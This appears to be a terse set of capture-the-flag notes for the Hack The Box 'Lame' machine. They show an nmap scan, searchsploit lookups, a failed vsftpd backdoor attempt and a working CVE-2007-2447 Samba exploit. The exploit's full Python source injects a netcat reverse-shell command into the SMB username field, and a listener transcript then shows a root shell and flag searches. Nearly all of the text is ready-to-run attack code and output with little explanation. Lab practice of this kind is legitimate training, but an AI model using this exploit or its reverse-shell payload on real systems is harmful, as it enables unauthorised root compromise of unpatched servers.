nmap 10.10.10.3 -p- -sC -sV --min-rate 6000 -Pn -n -oA tcpDetailed

"
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-09 15:17 BST
Nmap scan report for 10.10.10.3
Host is up (0.19s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
21/tcp  open  tcpwrapped
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  tcpwrapped
| ssh-hostkey: 
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open  tcpwrapped
445/tcp open  tcpwrapped Samba smbd 3.0.20-Debian

Host script results:
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h00m58s, deviation: 2h49m45s, median: 56s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2023-09-09T10:19:16-04:00
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.75 seconds
"

searchsploit vsftpd 2.3.4

"
------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                      |  Path
------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                                                                                           | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                              | unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
"

cp /usr/share/exploitdb/exploits/unix/remote/49757.py vsftpd-exploit.py

python vsftpd-exploit.py 10.10.10.3

`
Traceback (most recent call last):
  File "/home/htb-daeisbae/vsftpd-exploit.py", line 37, in <module>
    tn2=Telnet(host, 6200)
  File "/usr/lib/python3.9/telnetlib.py", line 218, in __init__
    self.open(host, port, timeout)
  File "/usr/lib/python3.9/telnetlib.py", line 235, in open
    self.sock = socket.create_connection((host, port), timeout)
  File "/usr/lib/python3.9/socket.py", line 843, in create_connection
    raise err
  File "/usr/lib/python3.9/socket.py", line 831, in create_connection
    sock.connect(sa)
TimeoutError: [Errno 110] Connection timed out
`

searchsploit samba 3.0.20

"
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Securi | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map scr | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow         | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
---------------------------------------------- ---------------------------------
Shellcodes: No Results
"

import sys
from smb.SMBConnection import SMBConnection

if len(sys.argv) != 5:
    print("* CVE-2007-2447 | Samba 3.0.20 < 3.0.25rc 'Username' map script' Command Execution *\n")
    print("Usage: python3 exploit.py <rhost> <rport> <lhost> <lport>")
    print("Example: python3 exploit.py 10.10.10.10 139 127.0.0.1 4444")
    sys.exit()

rhost = sys.argv[1]
rport = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]

username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username=username, password='', my_name='', remote_name='')

try:
    print("[...] Sending payload")
    conn.connect(rhost, rport, timeout=10)
except Exception as e:
    print("[ + ] You should be getting a shell now.")
    sys.exit(e)

nc -lnvp 4444

`
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.3.
Ncat: Connection from 10.10.10.3:42307.
whoami
root
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/# find / -name user.txt
find / -name user.txt
/home/makis/user.txt
root@lame:/# find / -name root.txt
find / -name root.txt
/root/root.txt
`

python exploit.py 10.10.10.3 445 10.10.14.10 4444